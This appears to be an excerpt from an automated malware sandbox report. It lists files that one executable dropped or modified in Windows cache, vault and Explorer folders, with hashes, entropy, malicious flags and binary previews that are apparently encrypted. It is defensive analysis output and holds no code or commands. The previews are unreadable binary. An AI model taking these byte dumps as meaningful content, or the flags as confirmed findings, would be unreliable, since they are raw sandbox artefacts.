Preview:	{.".T....h3.?...Z..:....3..\.=D6...E.<#J....jY\|.;....._.........%E.P....O.c...Ww+r..V..d..-.!..0B...L.V.........@..7.x....Aq...x..$V'.x..4...!'~.8...I..SP.I-..(A..U L.}..L.q~...h...9c....w!My6.bK....._.i.1w^.2N.k...k.L....h..p..~..b6.......r[.c'p..VK.......O,.t).K..}GoP..I.%.....(.xUx.._...........@mo.)P4....$..M.pqbe.a...Ho...T..T.A[.T....h..A5.9..2..O ..c.=..k 5.F?W.6x..z...._..>..{..o<..I;..K&q...V%..6..:..>0.\"p...W}\|Bd`0....eR').r..(.=/.]R....61b....J\|..J.&.^N0.~....`.-E.hMd.@...[.t0....7_....h...D... .U$6....I..!....;.<j..>...{...">)....\|.S`..n....#.]L..........@.?..ND..Il...4..}.B..""..R...Q.?.......x.v...F.A.\|.........k....D.8..@'.i;l....hco....E9.......TA 9@..H....bK.;...\|.Z\..c...Y8e.......$..}u..E......F........1?!.....9P...C....[/u.e&..#qx2.l...=..LN..w.....+4.^.....3R4.L..q..w9.Sd..-0.......t.:X.%.X[.:..x.M}..AX. ....E]...*P.'..EN.... ...0.Kt.+4...d.l...D.....^.^..l..N.h.........eu.0:.%.D..:...(..S....]].!...nrcc?>0Ys.....D>..N.)

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.944454631554341
Encrypted:	false
SSDEEP:	48:O4kkMKBWeR4EopJKU924BM6EtTaBSFmoUQUAKrx7acINAOkxfBNxA96xEOI71yjT:O4Jw24EovKaJEhaBSFm1q+ucINAOkNBR
MD5:	B297FFADD44F7F45611F0F8E2ECE5A6F
SHA1:	E8B02C4071F05C58969024716B91C0D2EB062591
SHA-256:	24F70B9F51FA926DB1ED551254FF7CC64E13CFC88752CDE41C78293F3A010107
SHA-512:	FAC2A3FC60D6C7E5595E740D466A56B3C874508E2F6589438746BC2D0034726DDC38BF02D5959F1B566A0CA952F1810C2A759EA972C4BBF5E5E697B1E961996E
Malicious:	false
Preview:	{.".T.C.dG...5j..U.'.d.?...o.V.T...~e..$..?B..]2.FY.....0b...0'.`.....i.....O...;&k..q..XD.^....../.r......%....e{a=...J..D....i.......O.0..'..%<.k..6p.VV\..P&....(..(k`..............,.........!...N....V.....L..Qm........./...<l4..xH9~1A...5W..m.z....4..v!. ..`.(i....?n.),C.c..(.N.V...F+.......]..)..Xf.[....ce}y......#.....6MB...H./Ov)Jy..0....n..i....@j(!...kU...I...l..2..\|..!... `..R.R.m}<k..R........+.....u.....'a..b=Pz..y......@x..VW..E...g.W.c..#X.6.3p]7. ....Q._t..[!D.A.3....b7....I..o.V..OPN...S.8...#..W.\D.~.otK[`C!......n.._.!.(IY..........=\r..$..4$.r..$....<ho:..l.o...vD.S.k3.wB...bsDy...c6......._.{,@.s.\|....x.b.+e..E..;GQ.Hq&M"......kG.X..z-/.....}.\| _..a..;,(/..q.9R.>....RTV..:.mb....o..........YQ.B.l0.....p.wk...oxBaPL/a..2..k.....S.4\...3&nP`.%..;=.K..fY...(..c...}..x.?OI..)$90.3z...%N.........5...r......V........$4..d[....$..!'....KHg......l]..1.F...7,.8.3....$..ru..^.....5.d..B...068.9.....v...E...L....._.\|..M..JZ.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.930933178685246
Encrypted:	false
SSDEEP:	48:1OkeuYgwRfOS3xF4uJxszRfdeIDXXaQ3QZc/8kgqpmDt/6babX//cgg5C93nD:FeuhDS3/4Y4deIDXqQ3Q+0bqI56mbHcY
MD5:	2468B151F42AF78FF5335C8DEFA0C82E
SHA1:	338B1708F006F5CB9644BDC905B7E279514C4D86
SHA-256:	E3BBA1D9E72227D50D131C5432CEF56E7627B19077A972DFF1FFA9D22CDD611E
SHA-512:	3DF77A5697908BFB1AF5D07F2C565E5A1046875F20C6ECC145F62842A9F302AD5ADE5B9EEE8D0EBE260D3D8928CB333A1951B5701A951F6381A960E2B9ADF951
Malicious:	false
Preview:	{.".T.A..6`K.dM....Z.qW-Ke.........1..v.g.c;M.E$.....T.!I".B...8.............,.^$.....O.u1."B...D..s.[..o;...p.m...Q..`..+...8......Z.\|..j..g]=:N..F.T.....b./.Q.M..&.........."i.R1..'....%.c$..>...y..E.l.....K..%.v\|..(.3..Z9}.h.....:. s..v(-.......%..uo..E..&&(...2."{3R...).X..O/...]}>...fR.T....p3=..?......P..Q#.X....F.h.,v.%.5fr.g..L....\|`..+...AZ(NR@.........{r.#.F.OT.....8.[.N(.aH.........<3....U.......n........R0.M....-I..\xs..[.....1e..m.......n.$J.S+..~V.0r<...bOm........7.>4S.+.C...?O*@...K>...0v.Wy..q4.....L.e'.......#..`..<].....+p..2.Q.JX.R.:...4..r...:.'f....qj..V_W.b{...O...MS...9P&.Bm.O.....\.L.....W&Rc...Pt...V...~mW.....D...^..B.N+.(............?NJ..ez".r...D.rHW..e...7....^;.!.N..z.....C.^/}M.L...bZ {f.....8R0F:....h..0.73.Q....:....o....j..ZT.j.!..+.d....e:8...:./.#........;.$1i..... .........l..48..27....If.`..&.w6;J}.u.\9...Q.:..TIZj..iif....G..xn..(.b..Mtu.G.w(Y..p..>)..!n58.oS..8tKe...J.%.=.gC../.O&A.L.^fL\............+V...

C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.719716888486781
Encrypted:	false
SSDEEP:	12:rZnTXslrDhdH+N7Lh/dr99BsV5/8thoEcjN8reHv1dKdKQ+3TtltTiyVvF936Wcq:r1X8DvHuVrhsVNMcjNy+t3TXkyz93zbD
MD5:	2D0697467D69AD674A3E0C9BF98669E5
SHA1:	9F3088A26EFDE0F0915034E78864C4FC7663B582
SHA-256:	8EBBC6CA759E528C63BA7A6ED6D2E84EFD6D711D60C194874C87FA3534718BD6
SHA-512:	6B268131AF4B05FFFC123AE66E776F70C7A6BF0B60F08E87D8CA2FCB475952E55319C93DC72817DD612D6D880DDD27CF2F036781778475FEBF313D78370E5515
Malicious:	false
Preview:	....By.S....~)..8.2.k...X',..Uj....nd.....e......T.....]..N........;w.l.......6 %.....w@....tTb.k...E..<L..u.yiCv...Sv$.Qh.d./.").....L..Z.Q8........."}.N..`Lb......UpV.KYLS......oEr..c.....R.......M.i.l..T...c.-/mP..Z.\R.q\|....d...D..<s....m..A.N..%R.....?..i..Zk..~81.yZ.'4zz.......k...y-.YD....P.0...df5b.y.X?.h....K.,.t{?.G@U...2.4s....x.n.vQ..g..V.u........}?....e......L..L^~l.a..v.hXT......vW...K.i.c..6./.}.o(..N...<..\|.>...Vf...t.8......Xd"...7m../F..?.V..J2.U....y<.$>.y..BA._.4.....j#......;y-,..h..Q.#0..z.PX.A..1.y.%.S.g.XE.f./i-.h......K=K..T.M..L.E,.)....z.K.7g.....(..w.93.!.7.\.o.8.....W5r&.....X..}....h...&.V7.......jP.......1..a.8.4....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\2057\StructuredQuerySchema.bin

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.332126534498014
Encrypted:	false
SSDEEP:	6144:N5n29o5lrzodCt4I95pvXWTWnHem+vyJfbnQkK96B88yKv4bWTmTvEiLSI:go3r8dCt4YGWHem+6dF4/X
MD5:	F1B77685039D334639AD877FE5387C34
SHA1:	2914E0E04C173777CE4D7A8072A357CBC32C1CE6
SHA-256:	A70C3E1358D05E22ED14C67F445AF57D362102C5F30AEE8F1B452D8A5E2F32DC
SHA-512:	769A21BA734FCCC043450452061D0F36A5402C73B914235ACD11B9B1C5CFF625A13E0D498768B66B090EA5FD529FCC9AF2C16499679A40AE482F42FFE95803E7
Malicious:	false
Preview:	...P......%A.W. .......h..E.bV.....F7n?...^W...#?..c..mrj.zX.&..~..6.Ho...f....'.j.H..........h.M_...,...^Ns..l.....B..OS..A.<....w.-.Cr<[.s..i84......:M...R=.].......B}....L..J7.......:.Q.....k...C0<...&.......$A.o9.n.........P~.y]O....t.t.7...b'..........5.m.y~&!...S".....d.g....$4.x.z.Z5..Y{.7.a.Z.........U.......f.....F.mz.....O.e...QN....{...D&.....Y...D.....f .).#.!.`.G...mJ..ve&.a...t...?.9..........Z........=..Y9.....\...QH/[.a...M..#4.....M...]BPq.]/.1..ce._.?..H9.....2.3r9...........1..DF.2a.j...y..F~z.bI....&/-.H.$.jK.3;.Uw......#}......'j.. Z^..v...$P2...d..-!>..;j.0F..1^...#..^ P..!("1n....).. ...F.Iv........<...tc.`O.X.w..S^.$...Z.0............L...P4y......j.......K.n........J.........{...B......W....xo.`.o.J......?.K5..Y.zW..Z.d..=....3R./.\...S.:.-...E.w........K..]1..d..h..]....#4.\|Vt...y;..0.'&.._.l.,..J!........<.uk.z.-....V... .,Z.U%s.Z.<......>o./.ni>.#zN?.~..e.X85...@./!...........T<] )..A...{..\|=.......r..

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.986535101793037
Encrypted:	false
SSDEEP:	384:ApdGXWbaJKotoFHIHm9VZBhfPDvZy/TGUB/8QjOHsOAkfM5J:ApEXgath6VbhfDU/TGUB/XMsRkfcJ
MD5:	04B45CE799A525ECD8AC7B1AEF723D71
SHA1:	20FFBE58AF2E8F2D5BDB476905943568E9C5495E
SHA-256:	54C4F10A41AE8C32715ECA1D292DB03FFCDCC0FDC4966454CDCB58CE206A61E2
SHA-512:	CBB7446C60FA2A0D1E9CE10B02AB8E59B8D2A1CCCD023EF0048D4612C218E3F5A2217F377E7C084C826C734C37EA755D0733526811D103131E2B0AD1946C2F5E
Malicious:	false
Preview:	.... .w..b....P....G..R..'."...$w.Wzn........w(....Jh,.{.9...O...../.NT.eo....... f/.%...8m.`?.K.......^.8p?..<.`....l6.....\.....h.#q!5y.R..QQ+.b&.uAz."...N.#..J....d...z....._.l....U..\|...h.AXF...iE.).U......]we.....4....K"...x?.....gQ.....?.yw.....#....I.j....X..\|....a....R..!9............9VU.c\qu,j...><T..C..=....N.....f9.:zA.F.3..C1.......K....P&7.w....;.....H...`.n......C...f'.9..r..Z..2t)....6C....R...g.P../..v6.....^....i.....\|..l.zw.....9.D...v..p=9..ke.=..._).r.&..x{..kH...E.N..sw.Oj...).T... .-Ej.m.K...0,..[....9.j...o(cb..rO.)4....,.......3...P.D......Z7.V,..d.`.Q.E....S6.cN..2..}..D....f..R...V6z.....7.......w.....eJJ.`......K.e...-...2DQF..&......F.C.i..G..k....t8....m.......p...F....F.3#.[Wp..QB.KY....m).....bUbr............U.u\.+...g..If..;.....9..{.....j$.y.)...r.ULE%..R..Y....*\..:...D...g.5...f...u....^..9.?..\|G.4.\.u....u.\|,>.'.C..U..?.....~....H..-x..6.O`-..R.aOE.I.#.....MT.i.....&y...~^....B.ux.o5.U.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989591209515985
Encrypted:	false
SSDEEP:	384:UNJkZ4sGJQdEyi5X8DtkbFihyfpwre4mFsm/nRbVqSKnxMt6s:EJkWXyi5MabFigf+rVWRbVtks
MD5:	FA62A318F7845903CC037376BF36FDD1
SHA1:	B060DFB85529290EA5D72B8C3D142A1793D0BB88
SHA-256:	0933C99F329FA1A1FB8C716E71A4069AE56E4D0BA90CDA8F4B48F831C679A6C1
SHA-512:	F43CFE0310D23C7CAA8501F6F1C1DBF5975779E1381478CCAA18F9E0C0573D6FB213513C9EDC91A74851DD42E172BB7024915811B0083F180FB1B156D93A132C
Malicious:	false
Preview:	....`i..c.r6.....S,.8..v...p..^3...."a+..l.:.9N.R.4.\.e,..t.lF[........XG...+4e.......64.F.......W9p0...x.2C.\|..!.W.n.E.......j.j..$'.g..0d....L..wC...iHJ...Gm..NN..N..Yg.7.rK..~2.GmTT....;.<B~.......x.t.t.eZ...9....T..bq.8#{...o.,..C.'[...$.]$......fE....\|..U.4.....q..x,Ii.. .#..V...X....h......e........8......b.].H\|...K..Q.":....=.....{........nu......`.4T.0!...x1<2.[m.....u. .3......gO.<-...lE..#..TY...I....1.r.\4../.........w..</j~+....)...B\..$P...^7.K~.6.F.....O...._&><n.5..K..<.Q..3.x..D...m=./.r....E..........5.....G.m....U.B.j..:5\.....v...K.5..H.V-.C.....9.k.Buce...5....a.0.~^.$,...1.......t..../..UI./.N.....w........C.=.:.........X.w..F."ZM[..'...poS.ro. ..e.s.w(.-........7'..C...6...U......\.VW:Y.......d}.F..`...S.#.d.......a.....@.A.'.D~..#.#..Di..'.."d..`o.......NK........J._.>\.......z..r(..T.J.S.g........o.\|Q[4m.T.......v.>5......`..H..+ m.5...,..h.....$...6..b;.:5..;.l......{.>..q[........

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{2135BB99-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.331929116839818
Encrypted:	false
SSDEEP:	6144:JJbRaYhs3t141bbxsFV/SHnb3Znm+vyJfbnQkK96B88yKv4bWTmTvEiLSG:JJkPd1EbbaV/05m+6dF4/V
MD5:	67F7B3224FEBB96A77031A2B00CE7053
SHA1:	E48168A799C91381B206E36CB8A3979353D03E83
SHA-256:	E2F16A8DCE07083E2FCA5B7650D4B95142399D19E0F12BD4997FF5BE453C6EA3
SHA-512:	6CA92C12D55431CF92124765FA668152F205FBD3360EE5977EB5E0507C6F3E0B73A7D957E48B2651A8BCFF080C75DB63EB302B9E529F7E95FD380E0E683F5BD3
Malicious:	false
Preview:	.w.. (.?Jt.t..2o.\p.l.D... .\.q.?t./w..o..s....]W..r..dCg..$<('.S....B...P.L~.@.Gg........{..`tr....g..Q.;..U..N.Qh.$.TJ.Z..G.]/M.s_D.1.>..X.XD.?~...S.5\>!....l..eED.#Lg&...AA}0],.F..IE.r9.$...\......M"..U.d....<u....l6..v..,{.j....8.h..w..z............Ee.p.Z.ZY.g5:;r....k.nd..pVdE5.[.y..."..6&.~..].LAwv...%.]..+...<G...rl...!.+.a......>.Pylq%.p.....6..\..y.I.RP.....i....t;.....X..B......].[....i..8..tU.(.Rd.......nmi..]~u......_79...#..-...9.....}.{iX......z...i......A[.t@g.r.TO.Qqh.T..Mr.z.b..8....@....k.J5.jX..B..;gJ..T.V._@%a....Ny.%...6m>m:.J(G.?P...... [.........;.J>...,h1.ZX....k...0Eyi..>.>{-...(.P.3d....9.Rw..Y......v..6.=.P..I........h..A=L...jE....1S.f.2..F....f....;.T.a$.!t6Up.ZtQ..1M3q..6.)....u].k<.....'p.U$....%.dX.9.'64e33q....U.C.DK.F..@.p...J...+Y..........S].S....../..,...U...PN..oKt.H....JIz<]..~icW'.8.K..0.8.`4V.G....T.p.T4.z_@.B..z.~Y.......I=..-.}....-.$g.c..T.."...2..-...-..:M0.....c.-..%.xm~.Q.!.E.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	102814
Entropy (8bit):	7.998247532926042
Encrypted:	true
SSDEEP:	3072:Whx1+kRI+BdOb8r7XqKeCIma2V//AZJqQybbDNn0V:W8kRI+bpr7XqKfIJqHbtn0V
MD5:	9AC26385ECE1C32253DFFF0BCDA76DC9
SHA1:	811DC49F124838B2DC6F0F819BD8DF43320E6FB6
SHA-256:	143B9A3DDF79F02B268A8CE59AFB3EB80F17F8C2BB3E30B77D96A6B4FAB20196
SHA-512:	79590A1319F2D46376157A0F5EAEADE3846350139D9CCA2652E2D0FBD4D075BC3371B35993AEA3A7D271F8D1E1773060C19FB132A5AB252C1BEE9DFD51B58FED
Malicious:	true
Preview:	....h2>...".FB.+.J.?."..-p.x...GY.E.....\0G%..b.GU..o..f.8....r......#..Ry<X........T>..........0.......g8......T..5...).LF....r.g..h.6...[c.<7....m...t...L.O..R.5r..Zo..G...Dub._..2.J-.X7....\.....(..7.T.O.I..h...w.yi..p.y..>) .Pzg. ...h)....y&g..v.....7.r.K{u.\|d..h....:./(+(l3G...5..RQb..N{ LY.,.....<FaO.U....HF..Z9.9`..]}..?.......7.f.H%b..Dyr.`..i..Gwj.T.#d..6.[~...F......K..c.w.js.h.F..'/..P....,.YG...\.X...1]2....J....}.Lz.e.D.\..X.6T.Z.Uv.XE..o.3.8z....@j.E.2,..Y.E..A.%..`...>..../Q..)...Vd.+.`.avg...J..'..(.....s...2.h...AP.+..a.fM\|.._q...Wm...i'$...e.......q.?.......t$O......V.Gh8Rl<UJ....(">...B...W].....#I.s...J.B7..N.ZY..0u.....t...O=.p8F+h..w+.:.../..H.o.+..p....Xj..EFUB.Q.2-...I..... .P.T.{e...].../.:..Ndk.`/.G.E..2.RE....r.j.......7,.:}.y.n.o.d..(...k)..&:...q..jv;bb.../..H....?_"......x.d.....(...{\....:!^..Y........8o../g..W.)95.....).?\|....{mE.=!....{f..3`E.P.K.x....'..)IL.f...Z_.?T&e.'-.....UXj..m..rE.\...J...YvHX.x..

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	75398
Entropy (8bit):	7.9975918910896056
Encrypted:	true
SSDEEP:	1536:imGLmQ4l2D/K33jyP0iYlwMaliIRCTmbmgfwayw43mTo+Kunq9IyXrAJe9Lh/:ijkw83OMiYlakmbmO4mTohunCaQx
MD5:	E31F8104916A9746362A4B5C1A2DA0F7
SHA1:	0A9CCD2EC96C644CD6EAF0CF04F3CBF76F6956E4
SHA-256:	16E21A326F9910402B04D557AC39FCB5327DDBA541ACF07F94F3394C01FA73F2
SHA-512:	0602ED05F2BD3D2DDD0515F9116F0CA8414083082D08E78FF4B9799CA990D682E6E0817F381F6A8B8169BCA6692887E9F4B442BC0965379494F84F561C808335
Malicious:	true
Preview:	.........J..~.W.;I....Y .8.uv.}x.......,.WGM...R....Y....r..t..v.o..+.l...N.lN...........%.DE..oC&g.....R4.....s.s....4@)....Z.#.YV{g.72................]...`.f...Xm9Py...H..wN.-.\ .S.......U......f.i..9.NT.'..#.....(..8.kV;2.`..@.c^.....Q.PW..y.-.(..J.....\.\|._./...w03.Tm......o.J..h...j.ok...~.zbj..W...<j.M3..$.....?`L.F...(.I;........K]zv.....B2.H..7..}..Z.V'.&.5.$...i,.]....A....R....V$.m....X.a.#.$......V...^.EM K.`k. B.....@....\.g.N`.N.....4...J....I...JC..eU............c....1.t.'n../...)w...k.`..9......\.X.>/..f.+..........rn:...f.6-x.0.s..\..,.L...ph..M.....'........./.J....O...kZI7.:"e..r...$.\.Uq^i.\|....%.....#...6....[........=...^...&.`....HmJ ..PUfn.6.[...ou.."[u../...<.a.V.cYG..GYx...u.Km.....N%.SO\.......F..]..K.....%....!u3....u>gz..h....j..L...&..j.7....W..hk........F....y&...~n~..m)D..wrx......R.....N...7S.8.........\|....#....f..%..'....H....`..E.1,...{.AVw...(_..s.N......u^.....?....B.....7.e...y.B..

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	105318
Entropy (8bit):	7.998185287732466
Encrypted:	true
SSDEEP:	3072:17GjRQHfjY/K1gvCJ5sVW+SX9YmBM2d1eJjr8szL:0RWfjuKivCJwWDX9xa2/SxL
MD5:	E10119DCCD4435E28DA7CC5188300660
SHA1:	76B4208DBB7B2DFBF03D7BA2E73E72210862B264
SHA-256:	4DECEC8474DD9C954AD904AFFF9FD7DEBBFA4C5D309B0FAAC2B609981CEB2B13
SHA-512:	337B106560300E1DB856CF6401C2E9E0C2588DCDE9F546BB402A912663BEE2CFFEE6636D8D37CE65268BD22E5609564ADCC07164FE1A2C69B8E55B7E7560A5DE
Malicious:	true
Preview:	.... ....,y4.._{SX[..t...L.9(..n..x..Vz..v......w\...uk.K.s.Xk}^.f....~...\|......0.....#..-.o....-x.7....}....ef^..........GC,M.C.7Z...u......0>.vp<<....v.=.olF..F..(.0......4.j..M.(ax.M.Fv.E%...;......ny.th.T.c.0.......>m..u......]9do....x.x...e..ju.(w...uDD.^...(....'`...2.......7........d..)<e.l...n..........[....mY[w..m.}e7._g.{.w.....B......!....%.0@..X<b.yo.e..,....1..k..........WBI...C...\...F...t...t...+...b'.X0@K....RK....s.....2...hK.4.$uG.cr..6 #Yh...4].ZW(s..<..5h....0-W.u..T........]5GM../.U.E.4g_...J_t........2.2..5...bR+Q............7......Y.....(.....H.^.".a.9..X.\}.Vq~xz.RY....SN+>...17.R-B.Dz....1U..AP._..aJ.?..0...j.z......+.V.Ur...E?....6Xw......1.......{..U........h.?...dl....2..+..IY.j.IX..<.B..d.1.i..}.....jr....H..{3#.......-4.pYp,U3.........:7../.>&....9.t..~..4.@..d.....@.....2U....U.CA.hA^.O53(.... ....@.....l.O.Hh5D..f...>.......qv...B....oae.\|.oB......,..n..x.A.e.q..k .......m^.....s..M..........x..'m['

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog.etl

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.737381832591113
Encrypted:	false
SSDEEP:	6144:LwocD4aftoU/2AfKuqW8lmvYpJCN5OFiNa1mYSOb9v:7gVl/2eKNHm+JPFiNGmpa
MD5:	271D4B0FC5CF261EBCFE063C2F5F22C9
SHA1:	6DBB21555ED0F57CF7BDF575668EBCF5CE8B4216
SHA-256:	FA4766BE893B097A00A2117601B7EF499431E8F2EBD8B1993625BD99E4D0FBD8
SHA-512:	D67A3136C6E389B2ABE75BF779F2F471F90E2CCDC6EFF6F2498699BA5A0498E382F2632F74EF837987031D1462E5FFC2A556735111322C554128C60139FF5A6F
Malicious:	false
Preview:	. ......./\.>.!.kK.G..].=.A3.m.0d...F. J.R.8k9.....2.@a. (6n...].K..?.#..xXD8........7C.g.q..8.@..7.`}.1..]...Ej.6.Rt.2.+.eb......Q.G%+q....r.;E..e.....".t..5.&4V..S...Y+1....%........^)....8q\...0...w.....(N.e.$^..b...~~.p...1(....T~...+.%}+.......7........\.......H..v...wr......B.n.......[.i.....r.O..<?.....`''.....2..f.l+Y.\|....d.%....(W.Z..o...w..j.....%P........}jj1....!-....'X. G.7g.!?p..V.&"R..u.....FM,..E.[..)4l.l.....(E...............9..\|?.`!...R+D.n.[''<x.B....<..%].........\......\c0^1.)qsi..)...).b.....[..TO57.Z.mR.b...i.'2.........n>>.?..i.....O;.1e...<.=.......3,. y.Rj.B.IDD../.3....Wq.....;w....(.q.IKT...O...U..u._d.....,e...2 E....e.\@..F.G......Ee.........^\|7...:[!^)..2...H....k.t.^.{.hE.9..R..N...r}..Z..BX......[..~)-......@U.G.A.0..C.....\...m.AA..K..........*i.`......[CPl..h.F..S..W.q.H..............P.B..VI..R.`v..fl....'...Ka.zh.Rc...\|.5.....m..,.%...0.w+.>7b..<{.84`..i..i\..S...g..<(.\|........p..A0..].........<.R..o

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992545134242374
Encrypted:	true
SSDEEP:	384:UKJ2khqRNb9PnKkwikyctOgHV+QZbjQvBy1MIZc91mwWwQFudBe9YwPq5v8Lb2kj:WkZtikywVFbkvw1VZuvQFuDqtPzLbbXz
MD5:	F7337C69B607FFA1F12B43652E06FDDE
SHA1:	AECE2AACA69640AE26515949AB5A1CAD1BC11667
SHA-256:	9624845B0DBE6FA124924741CC51A66FDD86247774D01D2FF5AD81E59D175296
SHA-512:	2DC54655EF1E3F344A3CE682316218C0B0F9F5C6CE497A1660E13919BECE0F6942C663ED8C19D4E99C2113EB26725220D740FE63F7C136DE68F36D9B0339A434
Malicious:	true
Preview:	. ...r.%E.y........y.O.].W.z.Ft..e...,..g........H.X...h.....yL.!$.^^o..#56.(...r.,.glO.%}......G....k.Q~p..Sh_..A]..Q.C..+...\|C.".f..\X........{H.$...)>e.Z."...\|..{...nA...%^6~...]...a.....d...5..5..B...'@.=%,T(`.j4.......=.i..[s...\|J=Y.....bJ.p...7.I2X^.?oA..s.+.y&.T&.e$0.......~..\...KQ.C..K...Ty.]!,8....VH..w.A....^..P...-.m..j..?.}..u3.q#..)"7&.;...b...........=...'..UX9N.....+q[<......h~.w/.._Lq...BX.u4D..Y.Z.I.(.\|..F.....nVyT...e..Ay......./+.....6.^..b...Y:..K+..p}..D....5.sb.\|%.F5..........2.....xeF.>C..+x}m......M..N.'.$.Ce.].(3_...=.Re.7.j...o....%...u.V..Hr....i...=u...+)...r.[........4....\T.n.....F........1......X...i..<.......G.T.o..fs.6..P.n....M.o#..\"o.8;.j.G.......$.a.......c...P.......X. j...B.R...[....slvY9..5...CW...h..,.B..&b...G....._g.s..`.,?.....K...`....@.[.7R...yb....{...).W...p.s.......r*..{..#.K...F.2I.~.?..j..1..1.e.b.V.(.C.....iQ.M.WX.S..h.o..4.j.u%VO.^+<}....~..Y......w..)]...-.f....[&.0..

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.282029362892034
Encrypted:	false
SSDEEP:	6:exh/inE0xYEMNNSRq14hc8U5O8k6jXkPp1Cuc5bSXCMeRHOsVolWbz6Wcii96Z:KVihxYxNSm8UNk6rkPp3LC7h36Wcii9a
MD5:	56DC539D1AA20E6095A7C05D31DC17F6
SHA1:	6C9BB210AAAF4D6A2DDA58CD7A7773315DFD7319
SHA-256:	6E545BF2B66976D9EB6F6A866970DA338A095F9322B28B3B89C89C1BECDFB01A
SHA-512:	71DC49EA0A0BDD362154CD43EDEA494F62FCAEE56A832B8B333F7A96B53DCDD70E0169735A82753D1BF95B5FB5E375B3045B71DE6603202CE02014ACF4B00249
Malicious:	false
Preview:	CMMM .`..o..:TnQq>..b....I.........7..1\|........./.PV.!.wT.OV.bq+......%.,...=.ua........_#1.t.....P[.2..G.WD.K.4.z...of v+.B.\|.Rq.g!...I.R.Y.bb..KD\!9"".h).M.5.y.."3.Z:n.D0..e`>w.P...m..h..*Y.R.X...#....#..0....\......U3{..0I.`..W.b.h:7...&5.rv.l. ~..]..........i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.234209766582638
Encrypted:	false
SSDEEP:	6:ERoEjwZqOzehaD79F4hfA3D/BEt6DqrF+1tX9JBsfa1BOsVolWbz6Wcii96Z:ERwZlKE/4JA3D/BEqqrcNJaYT36Wciik
MD5:	FA6003A2E2E6E4484C57FFD1CBFC493D
SHA1:	D58D2E9DCB3281D2DEE6678CD9B7EB8C84956B02
SHA-256:	E3F05EE3E7C729315A31CFA7B6A6898268E4AC03833CFA29908CF4D95B3BF34C
